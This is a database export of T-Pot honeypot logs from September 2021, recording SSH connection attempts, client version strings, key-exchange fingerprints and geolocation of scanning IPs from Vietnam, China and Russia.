28256	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:52.202118+03	2021-09-20 14:30:02.592523+03	{"_id": "lAbsAnwBvYTbRNuETC1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "77dbec76bcf1", "@version": "1", "timestamp": "2021-09-20T11:16:52.202118Z", "@timestamp": "2021-09-20T11:16:52.202Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28258	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:00.088766+03	2021-09-20 14:30:02.594524+03	{"_id": "uQbsAnwBvYTbRNuEai3E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34714, "timestamp": "2021-09-20T11:17:00.088766", "@timestamp": "2021-09-20T11:17:00.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28259	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:00.562797+03	2021-09-20 14:30:02.595524+03	{"_id": "uwbsAnwBvYTbRNuEay2c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55814 (192.168.176.2:22) [session: 91d871c49be4]", "session": "91d871c49be4", "@version": "1", "protocol": "ssh", "src_port": 55814, "dest_port": 22, "timestamp": "2021-09-20T11:17:00.562797Z", "@timestamp": "2021-09-20T11:17:00.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28260	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:51.348429+03	2021-09-20 14:30:02.596525+03	{"_id": "hQbsAnwBvYTbRNuERy2W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37662, "dest_port": 22, "timestamp": "2021-09-20T11:16:51.348429", "@timestamp": "2021-09-20T11:16:51.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28261	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:50.948203+03	2021-09-20 14:30:02.599524+03	{"_id": "igbsAnwBvYTbRNuESC1u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0b88cf4c46da", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:50.948203Z", "@timestamp": "2021-09-20T11:16:50.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28262	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:16:52.201898+03	2021-09-20 14:30:02.600524+03	{"_id": "kQbsAnwBvYTbRNuESy1_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7275, "dest_port": 22, "timestamp": "2021-09-20T11:16:52.201898", "@timestamp": "2021-09-20T11:16:52.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28264	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:54.860922+03	2021-09-20 14:30:02.602524+03	{"_id": "nwbsAnwBvYTbRNuEWC0S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0b88cf4c46da", "@version": "1", "duration": 3.912977457046509, "timestamp": "2021-09-20T11:16:54.860922Z", "@timestamp": "2021-09-20T11:16:54.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28265	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:16:56.751616+03	2021-09-20 14:30:02.604524+03	{"_id": "ogbsAnwBvYTbRNuEWy36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:15267 (192.168.176.2:22) [session: b2e94fb53a46]", "session": "b2e94fb53a46", "@version": "1", "protocol": "ssh", "src_port": 15267, "dest_port": 22, "timestamp": "2021-09-20T11:16:56.751616Z", "@timestamp": "2021-09-20T11:16:56.751Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28266	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:16:56.754616+03	2021-09-20 14:30:02.605524+03	{"_id": "owbsAnwBvYTbRNuEWy36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "b2e94fb53a46", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:16:56.754616Z", "@timestamp": "2021-09-20T11:16:56.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28267	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:16:57.016139+03	2021-09-20 14:30:02.606523+03	{"_id": "pAbsAnwBvYTbRNuEXS3F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 838020825967410, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 15267, "dest_port": 22, "timestamp": "2021-09-20T11:16:57.016139Z", "@timestamp": "2021-09-20T11:16:57.016Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28268	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:56.755246+03	2021-09-20 14:30:02.607523+03	{"_id": "qAbsAnwBvYTbRNuEXy0K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 15267, "timestamp": "2021-09-20T11:16:56.755246", "@timestamp": "2021-09-20T11:16:56.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28643	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.99792+03	2021-09-20 14:30:03.108554+03	{"_id": "pwbvAnwBvYTbRNuEUjA_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "a9e00fab7de6", "@version": "1", "duration": 0.4835495948791504, "timestamp": "2021-09-20T11:20:09.997920Z", "@timestamp": "2021-09-20T11:20:09.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
